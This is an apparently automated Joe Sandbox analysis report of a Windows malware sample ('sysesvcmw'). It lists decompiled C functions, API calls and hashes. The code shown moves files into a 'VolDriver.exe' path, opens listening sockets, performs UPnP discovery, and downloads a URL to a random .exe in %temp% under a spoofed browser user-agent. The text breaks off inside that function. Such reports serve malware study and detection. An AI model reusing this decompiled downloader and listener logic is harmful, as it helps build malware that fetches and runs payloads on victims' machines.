%s\%s, xrefs: 0040537E
$QA, xrefs: 00404FDE
%s\%s\%s, xrefs: 00405418
%s\%s, xrefs: 00405013
%s\%s\VolDriver.exe, xrefs: 00405033
shell32.dll, xrefs: 0040516B
%s\%s, xrefs: 00405053

Memory Dump Source

Source File: 00000008.00000002.1462699061.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1462659242.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.1462831343.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.1462921406.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: File$wsprintf$ExistsPath$Attributes$CopyCreateDeleteDirectory_chkstk
String ID: $QA$%s.lnk$%s\%s$%s\%s$%s\%s$%s\%s$%s\%s\%s$%s\%s\VolDriver.exe$%s\*$shell32.dll$shell32.dll
API String ID: 3833403615-723921974
Opcode ID: bc23619f8dc30859a07966784ca3ed239acb01018f2188f41b04a5a3b5a0ba6e
Instruction ID: f358d4f12602216a8cf7219611423f3e74dfa0c58bc439e6418ed54077a909fe
Opcode Fuzzy Hash: bc23619f8dc30859a07966784ca3ed239acb01018f2188f41b04a5a3b5a0ba6e
Instruction Fuzzy Hash: 2DD18175900218ABCB20DF60DC48FEA77B8FF44305F0485EAE609A6291D7B99BD4CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00404E80 Relevance: 26.3, APIs: 11, Strings: 4, Instructions: 85
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00404E80(WCHAR* _a4, char _a8) {
				short _v524;
				struct _WIN32_FIND_DATAW _v1116;
				void* _v1120;
				short _v1644;
				short _v2164;
				void* _t29;
				void* _t60;
				void* _t61;

				_t1 =  &_a8; // 0x40544b
				CreateDirectoryW( *_t1, 0);
				wsprintfW( &_v524, L"%s\\*", _a4);
				_t61 = _t60 + 0xc;
				_t29 = FindFirstFileW( &_v524,  &_v1116);
				_v1120 = _t29;
				if(_v1120 == 0xffffffff) {
					return _t29;
				} else {
					goto L1;
				}
				do {
					L1:
					if(lstrcmpW( &(_v1116.cFileName), ".") != 0 && lstrcmpW( &(_v1116.cFileName), L"..") != 0) {
						wsprintfW( &_v1644, L"%s\\%s", _a4,  &(_v1116.cFileName));
						_t14 =  &_a8; // 0x40544b
						wsprintfW( &_v2164, L"%s\\%s",  *_t14,  &(_v1116.cFileName));
						_t61 = _t61 + 0x20;
						if((_v1116.dwFileAttributes & 0x00000010) == 0) {
							MoveFileExW( &_v1644,  &_v2164, 9);
						} else {
							E00404E80( &_v1644,  &_v2164);
							_t61 = _t61 + 8;
						}
					}
				} while (FindNextFileW(_v1120,  &_v1116) != 0);
				FindClose(_v1120);
				return RemoveDirectoryW(_a4);
			}

APIs

CreateDirectoryW.KERNEL32(KT@,00000000), ref: 00404E8F
wsprintfW.USER32 ref: 00404EA5
FindFirstFileW.KERNEL32(?,?), ref: 00404EBC
lstrcmpW.KERNEL32(?,0041160C), ref: 00404EE1
lstrcmpW.KERNEL32(?,00411610), ref: 00404EF7
wsprintfW.USER32 ref: 00404F1A
wsprintfW.USER32 ref: 00404F3A
MoveFileExW.KERNEL32(?,?,00000009), ref: 00404F76
FindNextFileW.KERNEL32(000000FF,?), ref: 00404F8A
FindClose.KERNEL32(000000FF), ref: 00404F9F
RemoveDirectoryW.KERNEL32(?), ref: 00404FA9

Strings

%s\%s, xrefs: 00404F2E
%s\%s, xrefs: 00404F0E
%s\*, xrefs: 00404E99
KT@, xrefs: 00404E8B, 00404F2A, 00404E8E, 00404F2D

Memory Dump Source

Source File: 00000008.00000002.1462699061.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1462659242.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.1462831343.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.1462921406.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: FileFindwsprintf$Directorylstrcmp$CloseCreateFirstMoveNextRemove
String ID: %s\%s$%s\%s$%s\*$KT@
API String ID: 92872011-1718218466
Opcode ID: 4e32471b6f213224bbe50e7f945d3dfc794eb29b83275571e89e3b03adfc3a4e
Instruction ID: f84c23499f796ae609c643b61d0d113fdbb715ac4c7aa211f5e11142a609d372
Opcode Fuzzy Hash: 4e32471b6f213224bbe50e7f945d3dfc794eb29b83275571e89e3b03adfc3a4e
Instruction Fuzzy Hash: 553145B5500218ABCB10DFA0DC88FDA7778BB88301F0085A9F709A6195DB79DAC4CF98

Uniqueness

Uniqueness Score: -1.00%

Function 0040EB00 Relevance: 16.6, APIs: 11, Instructions: 129
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 45%

			E0040EB00(void* __esi) {
				struct _SYSTEM_INFO _v36;
				short _v40;
				char _v77;
				short _v82;
				short _v86;
				short _v90;
				short _v92;
				short _v94;
				short _v96;
				short _v98;
				char _v100;
				void* __edi;
				intOrPtr* _t30;
				void* _t33;
				void* _t36;
				intOrPtr _t37;
				short _t39;
				intOrPtr _t40;
				intOrPtr* _t54;
				void* _t56;
				void* _t58;
				void* _t59;

				_t30 = E00408B00(0x4c);
				_t54 = _t30;
				_t59 = _t58 + 4;
				if(_t54 == 0) {
					return _t30;
				} else {
					 *_t54 = 0x494f4350;
					GetSystemInfo( &_v36);
					_t45 = _v36.dwNumberOfProcessors;
					_t3 = _t54 + 0x20; // 0x20
					 *((intOrPtr*)(_t54 + 4)) = _v36.dwNumberOfProcessors + _t45;
					InitializeCriticalSection(_t3);
					_t33 = CreateEventA(0, 1, 0, 0);
					 *(_t54 + 0x10) = _t33;
					if(_t33 == 0) {
						L12:
						E0040E0E0(_t54);
						return 0;
					}
					_t36 = CreateIoCompletionPort(0xffffffff, 0, 0, 0);
					 *(_t54 + 8) = _t36;
					if(_t36 == 0) {
						goto L12;
					}
					_t37 = E0040BAF0(_t45);
					 *((intOrPtr*)(_t54 + 0xc)) = _t37;
					if(_t37 == 0) {
						goto L12;
					}
					__imp__WSASocketA(2, 1, 6, 0, 0, 1);
					 *((intOrPtr*)(_t54 + 0x14)) = _t37;
					if(_t37 == 0xffffffff) {
						goto L12;
					}
					_v77 = 1;
					__imp__#21(_t37, 0xffff, 4,  &_v77, 1);
					_v94 = 0;
					_v90 = 0;
					_v86 = 0;
					_v82 = 0;
					_t39 = _v40;
					_v96 = 2;
					_v92 = _t39;
					__imp__#9(_v36.dwOemId);
					_v98 = _t39;
					_t40 =  *((intOrPtr*)(_t54 + 0x14));
					__imp__#2(_t40,  &_v100, 0x10);
					if(_t40 == 0xffffffff) {
						goto L12;
					}
					__imp__#13( *((intOrPtr*)(_t54 + 0x14)), 0x7fffffff);
					if(_t40 == 0xffffffff) {
						goto L12;
					}
					__imp__WSACreateEvent();
					 *((intOrPtr*)(_t54 + 0x18)) = _t40;
					if(_t40 == 0) {
						goto L12;
					}
					__imp__WSAEventSelect( *((intOrPtr*)(_t54 + 0x14)), _t40, 8);
					if(_t40 == 0xffffffff) {
						goto L12;
					}
					_t56 = 0;
					if( *((intOrPtr*)(_t54 + 4)) > 0) {
						do {
							E0040BBA0( *((intOrPtr*)(_t54 + 0xc)), 0, E0040EA30, _t54, 0, 0);
							_t56 = _t56 + 1;
							_t59 = _t59 + 0x18;
						} while (_t56 <  *((intOrPtr*)(_t54 + 4)));
					}
					E0040BBA0( *((intOrPtr*)(_t54 + 0xc)), 0, E0040E400, _t54, 0, 0);
					return _t54;
				}
			}

APIs

GetSystemInfo.KERNEL32(?), ref: 0040EB23
InitializeCriticalSection.KERNEL32(00000020), ref: 0040EB37
CreateEventA.KERNEL32(00000000,00000001,00000000,00000000), ref: 0040EB45
CreateIoCompletionPort.KERNEL32(000000FF,00000000,00000000,00000000), ref: 0040EB5E

Part of subcall function 0040BAF0: InitializeCriticalSection.KERNEL32(-00000004), ref: 0040BB0E

WSASocketA.WS2_32(00000002,00000001,00000006,00000000,00000000,00000001), ref: 0040EB8B
setsockopt.WS2_32 ref: 0040EBB1
htons.WS2_32(?), ref: 0040EBE1
bind.WS2_32(?,00000004,00000010), ref: 0040EBF7
listen.WS2_32(?,7FFFFFFF), ref: 0040EC0F
WSACreateEvent.WS2_32 ref: 0040EC1A
WSAEventSelect.WS2_32(?,00000000,00000008), ref: 0040EC2E

Part of subcall function 0040BBA0: EnterCriticalSection.KERNEL32(-00000004,00000000), ref: 0040BBC4
Part of subcall function 0040BBA0: CreateThread.KERNEL32(00000000,?,00000000,?,00000000,?), ref: 0040BC1F
Part of subcall function 0040BBA0: GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002), ref: 0040BC5C
Part of subcall function 0040BBA0: GetCurrentProcess.KERNEL32(00000000,00000000), ref: 0040BC67
Part of subcall function 0040BBA0: DuplicateHandle.KERNEL32(00000000), ref: 0040BC6E
Part of subcall function 0040BBA0: LeaveCriticalSection.KERNEL32(-00000004), ref: 0040BC82

Memory Dump Source

Source File: 00000008.00000002.1462699061.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1462659242.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.1462831343.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.1462921406.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: CreateCriticalSection$Event$CurrentInitializeProcess$CompletionDuplicateEnterHandleInfoLeavePortSelectSocketSystemThreadbindhtonslistensetsockopt
String ID:
API String ID: 1603358586-0
Opcode ID: f5c8a733228a7b3742c1c3b1f999116d73948f9746cd990c91c1e4c648286908
Instruction ID: 55e3d3791406c7558891e3ce563330e9b7b343d865a5bfb51454dd4e2dcce5d3
Opcode Fuzzy Hash: f5c8a733228a7b3742c1c3b1f999116d73948f9746cd990c91c1e4c648286908
Instruction Fuzzy Hash: 65419270644302BBE3209F758C4AF46B7A5BF44710F108A2AF568E62D0E7B5E454CB99

Uniqueness

Uniqueness Score: -1.00%

Function 0040C580 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 117networkstringCOMMON

Download Yara Rule

APIs

socket.WS2_32(00000002,00000002,00000011), ref: 0040C59A
htons.WS2_32(0000076C), ref: 0040C5D0
inet_addr.WS2_32(239.255.255.250), ref: 0040C5DF
setsockopt.WS2_32(000000FF,0000FFFF,00000020,00000001,00000001), ref: 0040C5FD

Part of subcall function 00409540: htons.WS2_32(00000050), ref: 0040956D
Part of subcall function 00409540: socket.WS2_32(00000002,00000001,00000000), ref: 0040958D
Part of subcall function 00409540: connect.WS2_32(000000FF,?,00000010), ref: 004095A6
Part of subcall function 00409540: getsockname.WS2_32(000000FF,?,00000010), ref: 004095D8

bind.WS2_32(000000FF,?,00000010), ref: 0040C633
lstrlenA.KERNEL32(00410578,00000000,?,00000010), ref: 0040C64C
sendto.WS2_32(000000FF,00410578,00000000), ref: 0040C65B
ioctlsocket.WS2_32(000000FF,8004667E,00000001), ref: 0040C675

Part of subcall function 0040C490: recvfrom.WS2_32(000000FF,?,00000400,00000000,00000000,00000000), ref: 0040C4DE
Part of subcall function 0040C490: Sleep.KERNEL32(000003E8), ref: 0040C4EE
Part of subcall function 0040C490: StrCmpNIA.SHLWAPI(?,HTTP/1.1 200 OK,0000000F), ref: 0040C50B
Part of subcall function 0040C490: StrStrIA.SHLWAPI(?,LOCATION: ), ref: 0040C521
Part of subcall function 0040C490: StrChrA.SHLWAPI(?,0000000D), ref: 0040C54E

Strings

239.255.255.250, xrefs: 0040C5DA

Memory Dump Source

Source File: 00000008.00000002.1462699061.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1462659242.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.1462831343.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.1462921406.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: htonssocket$Sleepbindconnectgetsocknameinet_addrioctlsocketlstrlenrecvfromsendtosetsockopt
String ID: 239.255.255.250
API String ID: 726339449-2186272203
Opcode ID: 3abddafc972960b7a34b09499d5804bac4f0b45d7085fcd8f09acaffb4ecffc4
Instruction ID: 76d768ee63a1ab765bf53bd3b80837b0909e15b9bb20e5c949896882321ca4fe
Opcode Fuzzy Hash: 3abddafc972960b7a34b09499d5804bac4f0b45d7085fcd8f09acaffb4ecffc4
Instruction Fuzzy Hash: 3C4106B4E00208EBDB14DFE4D889BEEBBB5AF48304F108569E505B7290E7B55A44CB69

Uniqueness

Uniqueness Score: -1.00%

Function 0040D8A0 Relevance: 9.1, APIs: 6, Instructions: 77
networkthreadCOMMON

Download Yara Rule

C-Code - Quality: 44%

			E0040D8A0(intOrPtr __edi, void* __esi) {
				short _v8;
				short _v14;
				short _v18;
				short _v22;
				short _v24;
				short _v26;
				short _v28;
				short _v30;
				char _v33;
				char _v52;
				void* __ebx;
				void* _t21;
				short _t24;
				void* _t25;
				void* _t30;
				void* _t31;
				intOrPtr _t38;
				void* _t39;

				_t39 = __esi;
				_t38 = __edi;
				if(__esi == 0 || __edi == 0) {
					return 0;
				} else {
					_t31 = E00408B00(0x24);
					 *_t31 = 0x756470;
					 *(_t31 + 4) = 0;
					_t21 = CreateEventA(0, 1, 0, 0);
					 *(_t31 + 0x10) = _t21;
					__imp__#23(2, 2, 0x11, _t30);
					 *(_t31 + 8) = _t21;
					if(_t21 == 0xffffffff) {
						E0040DD00(_t31, __edi);
						_t31 = 0;
					}
					if(_t31 == 0) {
						L8:
						return _t31;
					}
					_v26 = 0;
					_v22 = 0;
					_v18 = 0;
					_v14 = 0;
					_t24 = _v8;
					_v24 = _t24;
					_v28 = 2;
					__imp__#9(_t39);
					_v30 = _t24;
					_v33 = 1;
					_t25 =  *(_t31 + 8);
					__imp__#21(_t25, 0xffff, 4,  &_v33, 1);
					__imp__#2( *(_t31 + 8),  &_v52, 0x10);
					if(_t25 != 0xffffffff) {
						 *((intOrPtr*)(_t31 + 0xc)) = _t38;
						 *((intOrPtr*)(_t31 + 0x14)) = CreateThread(0, 0, E0040DAD0, _t31, 0, 0);
						goto L8;
					}
					E0040DD00(_t31, _t38);
					return 0;
				}
			}

APIs

CreateEventA.KERNEL32(00000000,00000001,00000000,00000000), ref: 0040D8D8
socket.WS2_32(00000002,00000002,00000011), ref: 0040D8E7
htons.WS2_32(00009E34), ref: 0040D92A
setsockopt.WS2_32(?,0000FFFF), ref: 0040D94C
bind.WS2_32(?,00000004,00000010), ref: 0040D95D

Part of subcall function 0040DD00: SetEvent.KERNEL32(?,?,0040DDF5,?,?,0040BF1E,00000000), ref: 0040DD11
Part of subcall function 0040DD00: WaitForSingleObject.KERNEL32(?,000000FF,?,0040DDF5,?,?,0040BF1E,00000000), ref: 0040DD1D
Part of subcall function 0040DD00: CloseHandle.KERNEL32(?,?,0040DDF5,?,?,0040BF1E,00000000), ref: 0040DD27

CreateThread.KERNEL32(00000000,00000000,Function_0000DAD0,00000000,00000000,00000000), ref: 0040D985

Memory Dump Source

Source File: 00000008.00000002.1462699061.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1462659242.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.1462831343.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.1462921406.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: CreateEvent$CloseHandleObjectSingleThreadWaitbindhtonssetsockoptsocket
String ID:
API String ID: 4174406920-0
Opcode ID: 05ebf89ae4aef0f9de86e26819af3cc3888251010e7b9e55e68cfc395c831c9e
Instruction ID: 030b81ab5cfdece744e4193ec97e607ba68bdf4ca273294f478105adee985cb3
Opcode Fuzzy Hash: 05ebf89ae4aef0f9de86e26819af3cc3888251010e7b9e55e68cfc395c831c9e
Instruction Fuzzy Hash: A721A1B4A44301AFE710DFA48C8AB577AA0EF44710F50857AFA54DA2C1D7F4C9488B6A

Uniqueness

Uniqueness Score: -1.00%

Function 0040B540 Relevance: 9.1, APIs: 6, Instructions: 67
sleepnetworkCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E0040B540(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				intOrPtr _v8;
				intOrPtr _v12;
				char _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _t38;
				intOrPtr _t43;

				_v12 = _a16;
				if(_a16 != 0xffffffff) {
					_v12 = GetTickCount() + _v12;
				}
				_v8 = _a8;
				while(1) {
					_v16 = 0;
					_t38 = _a4;
					__imp__#10(_t38, 0x4004667f,  &_v16);
					if(_t38 == 0xffffffff) {
						break;
					}
					if(_v16 > 0) {
						if(_v16 >= _a12) {
							_v24 = _a12;
						} else {
							_v24 = _v16;
						}
						_t43 = _a4;
						__imp__#16(_t43, _v8, _v24, 0);
						_v20 = _t43;
						if(_v20 > 0) {
							if(_a16 != 0xffffffff) {
								_v12 = GetTickCount() + _a16;
							}
							_a12 = _a12 - _v20;
							_v8 = _v8 + _v20;
						}
					}
					Sleep(1);
					if(GetTickCount() > _v12 || _a12 == 0) {
						L15:
						return 0 | _a12 == 0x00000000;
					} else {
						continue;
					}
				}
				goto L15;
			}

APIs

GetTickCount.KERNEL32 ref: 0040B552
ioctlsocket.WS2_32(00000004,4004667F,00000000), ref: 0040B578
recv.WS2_32(00000004,00002710,000000FF,00000000), ref: 0040B5AF
GetTickCount.KERNEL32 ref: 0040B5C4
Sleep.KERNEL32(00000001), ref: 0040B5E4
GetTickCount.KERNEL32 ref: 0040B5EA

Memory Dump Source

Source File: 00000008.00000002.1462699061.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1462659242.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.1462831343.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.1462921406.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: CountTick$Sleepioctlsocketrecv
String ID:
API String ID: 107502007-0
Opcode ID: 3dbc88ac5e59e45bbdcf572904d8cc1d56ccf512b654b7b3376d83b26deadee6
Instruction ID: 64461f39ab81653a4184227da93eab0719a9ebb5afb4910718686698f9d98f64
Opcode Fuzzy Hash: 3dbc88ac5e59e45bbdcf572904d8cc1d56ccf512b654b7b3376d83b26deadee6
Instruction Fuzzy Hash: 7131EF74900209EFCB14DFA4DD48AEE7BB5FF48315F1086AAE825A3290D7749A50CB99

Uniqueness

Uniqueness Score: -1.00%

Function 00409540 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 60
networkCOMMON

Download Yara Rule

C-Code - Quality: 16%

			E00409540() {
				intOrPtr _v8;
				short _v10;
				short _v14;
				short _v18;
				intOrPtr _v20;
				short _v22;
				char _v24;
				intOrPtr _v28;
				short _v30;
				short _v34;
				short _v38;
				intOrPtr _v40;
				short _v42;
				char _v44;
				char _v48;
				intOrPtr _t28;
				char* _t30;

				_v8 = 0xffffffff;
				_v24 = 0;
				_v22 = 0;
				_v18 = 0;
				_v14 = 0;
				_v10 = 0;
				_v24 = 2;
				__imp__#9(0x50);
				_v22 = 0;
				_t28 = E00409500("www.update.microsoft.com");
				_v20 = _t28;
				__imp__#23(2, 1, 0);
				_v28 = _t28;
				if(_v28 != 0xffffffff) {
					_t30 =  &_v24;
					__imp__#4(_v28, _t30, 0x10);
					if(_t30 == 0) {
						_v44 = 0;
						_v42 = 0;
						_v38 = 0;
						_v34 = 0;
						_v30 = 0;
						_v48 = 0x10;
						__imp__#6(_v28,  &_v44,  &_v48);
						_v8 = _v40;
					}
					E00409600(_v28);
				}
				return _v8;
			}

APIs

htons.WS2_32(00000050), ref: 0040956D

Part of subcall function 00409500: inet_addr.WS2_32(00409581), ref: 0040950A
Part of subcall function 00409500: gethostbyname.WS2_32(?), ref: 0040951D

socket.WS2_32(00000002,00000001,00000000), ref: 0040958D
connect.WS2_32(000000FF,?,00000010), ref: 004095A6
getsockname.WS2_32(000000FF,?,00000010), ref: 004095D8

Strings

www.update.microsoft.com, xrefs: 00409577

Memory Dump Source

Source File: 00000008.00000002.1462699061.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1462659242.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.1462831343.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.1462921406.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: connectgethostbynamegetsocknamehtonsinet_addrsocket
String ID: www.update.microsoft.com
API String ID: 4063137541-1705189816
Opcode ID: 2dec295092395f23a9cc8e75f3d945b5eddd047bf9da38ba452b3522f7f48efc
Instruction ID: 389a469d72f566baadd69971dc4dec0fd14d74987819c9d890e36e211f91e18c
Opcode Fuzzy Hash: 2dec295092395f23a9cc8e75f3d945b5eddd047bf9da38ba452b3522f7f48efc
Instruction Fuzzy Hash: FD210EB5D14309ABCB04DFE4D846AEFBBB4AF48310F108169E505F3390E7745A44CB69

Uniqueness

Uniqueness Score: -1.00%

Function 0040A870 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 26
encryptionCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E0040A870(void* __ecx, BYTE* _a4, int _a8) {
				char _v8;
				char* _t6;

				_t1 =  &_v8; // 0x406545
				_t6 = _t1;
				__imp__CryptAcquireContextW(_t6, 0, 0, 1, 0xf0000040, __ecx);
				if(_t6 != 0) {
					_t4 =  &_v8; // 0x406545
					CryptGenRandom( *_t4, _a8, _a4);
					_t5 =  &_v8; // 0x406545
					return CryptReleaseContext( *_t5, 0);
				}
				return _t6;
			}

0x0040a87f
0x0040a87f
0x0040a883
0x0040a88b
0x0040a895
0x0040a899
0x0040a8a1
0x00000000
0x0040a8a5
0x0040a8ae

APIs

CryptAcquireContextW.ADVAPI32(Ee@,00000000,00000000,00000001,F0000040,?,?,0040A8C9,Ee@,00000004,?,?,0040A8FE,000000FF), ref: 0040A883
CryptGenRandom.ADVAPI32(Ee@,?,00000000,?,?,0040A8C9,Ee@,00000004,?,?,0040A8FE,000000FF), ref: 0040A899
CryptReleaseContext.ADVAPI32(Ee@,00000000,?,?,0040A8C9,Ee@,00000004,?,?,0040A8FE,000000FF), ref: 0040A8A5

Strings

Ee@, xrefs: 0040A87F, 0040A895, 0040A8A1, 0040A882, 0040A898, 0040A8A4

Memory Dump Source

Source File: 00000008.00000002.1462699061.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1462659242.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.1462831343.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.1462921406.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: Crypt$Context$AcquireRandomRelease
String ID: Ee@
API String ID: 1815803762-3880142923
Opcode ID: eda8b9e6150e8489936fffc678bcc37347e2bbaac9c88bad9fce2d1065103978
Instruction ID: 1edff0947e8a0bec857b7d5bc171d56b6abde249d8757a471d495e886690916f
Opcode Fuzzy Hash: eda8b9e6150e8489936fffc678bcc37347e2bbaac9c88bad9fce2d1065103978
Instruction Fuzzy Hash: 47E01275650308FBDB14DBD1EC49F9A777CAB48740F108154B709A7284DAB5EA408768

Uniqueness

Uniqueness Score: -1.00%

Function 0040DD70 Relevance: 6.1, APIs: 4, Instructions: 59
networkthreadCOMMON

Download Yara Rule

C-Code - Quality: 22%

			E0040DD70(void* __edi) {
				short _v14;
				short _v18;
				intOrPtr _v20;
				short _v22;
				short _v26;
				char _v28;
				void* __ebx;
				void* _t15;
				void* _t24;

				_t27 = __edi;
				_t24 = E00408B00(0x24);
				 *_t24 = 0x756470;
				 *(_t24 + 4) = 1;
				_t15 = CreateEventA(0, 1, 0, 0);
				 *(_t24 + 0x10) = _t15;
				__imp__#23(2, 2, 0x11);
				 *(_t24 + 8) = _t15;
				if(_t15 == 0xffffffff) {
					E0040DD00(_t24, __edi);
					_t24 = 0;
				}
				if(_t24 == 0) {
					L6:
					return _t24;
				} else {
					_v26 = 0;
					_v22 = 0;
					_v18 = 0;
					_v14 = 0;
					_v28 = 2;
					__imp__#2( *(_t24 + 8),  &_v28, 0x10);
					if(2 != 0xffffffff) {
						 *((intOrPtr*)(_t24 + 0xc)) = _v20;
						 *((intOrPtr*)(_t24 + 0x14)) = CreateThread(0, 0, E0040DAD0, _t24, 0, 0);
						goto L6;
					} else {
						E0040DD00(_t24, _t27);
						return 0;
					}
				}
			}

APIs

CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,?,?,0040BF1E,00000000), ref: 0040DD95
socket.WS2_32(00000002,00000002,00000011), ref: 0040DDA4
bind.WS2_32(?,?,00000010), ref: 0040DDE5

Part of subcall function 0040DD00: SetEvent.KERNEL32(?,?,0040DDF5,?,?,0040BF1E,00000000), ref: 0040DD11
Part of subcall function 0040DD00: WaitForSingleObject.KERNEL32(?,000000FF,?,0040DDF5,?,?,0040BF1E,00000000), ref: 0040DD1D
Part of subcall function 0040DD00: CloseHandle.KERNEL32(?,?,0040DDF5,?,?,0040BF1E,00000000), ref: 0040DD27

CreateThread.KERNEL32(00000000,00000000,0040DAD0,00000000,00000000,00000000), ref: 0040DE11

Memory Dump Source

Source File: 00000008.00000002.1462699061.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1462659242.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.1462831343.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.1462921406.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: CreateEvent$CloseHandleObjectSingleThreadWaitbindsocket
String ID:
API String ID: 3943618503-0
Opcode ID: a272f706d971db141aade7e541e5b093828ed65ab25b051faa62c99c8275b329
Instruction ID: a1f51b83e62fd1e5ac6bfc854ac0cad300f812e19a803ea918e078540f5b95b0
Opcode Fuzzy Hash: a272f706d971db141aade7e541e5b093828ed65ab25b051faa62c99c8275b329
Instruction Fuzzy Hash: 9611C870A40300AFE7009FB49C86B577AA0EF44710F50897AFA08DE2D1D2F4D8488756

Uniqueness

Uniqueness Score: -1.00%

Function 0040D4F0 Relevance: 73.7, APIs: 35, Strings: 7, Instructions: 243
filesleepnetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 83%

			E0040D4F0(char* _a4, char _a8) {
				short _v524;
				short _v1044;
				signed char _v1045;
				short _v1572;
				void* _v1576;
				void* _v1580;
				short _v2100;
				void _v2364;
				long _v2368;
				long _v2372;
				void* _v2376;
				intOrPtr* _v2380;
				intOrPtr _v2384;
				char _v2385;
				intOrPtr _v2392;
				signed int _t88;
				signed int _t90;
				int _t96;
				signed int _t97;
				signed int _t99;
				signed int _t101;
				signed int _t111;
				signed char _t125;
				signed char _t127;
				void* _t181;
				void* _t182;
				void* _t184;

				srand(GetTickCount());
				_t182 = _t181 + 4;
				_v1045 = 0;
				ExpandEnvironmentStringsW(L"%temp%",  &_v2100, 0x104);
				_v2380 = _a4;
				_v2384 = _v2380 + 1;
				do {
					_v2385 =  *_v2380;
					_v2380 = _v2380 + 1;
				} while (_v2385 != 0);
				_v2392 = _v2380 - _v2384;
				mbstowcs( &_v1044, _a4, _v2392 + 1);
				_t88 = rand();
				asm("cdq");
				_t90 = rand();
				asm("cdq");
				wsprintfW( &_v1572, L"%s\\%d%d.exe",  &_v2100, _t90 % 0x7fff + 0x3e8, _t88 % 0x7fff + 0x3e8);
				_t184 = _t182 + 0x20;
				_v2376 = InternetOpenW(L"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36", 0, 0, 0, 0);
				if(_v2376 != 0) {
					_v1576 = InternetOpenUrlW(_v2376,  &_v1044, 0, 0, 0, 0);
					if(_v1576 != 0) {
						_v1580 = CreateFileW( &_v1572, 0x40000000, 0, 0, 2, 0, 0);
						if(_v1580 != 0xffffffff) {
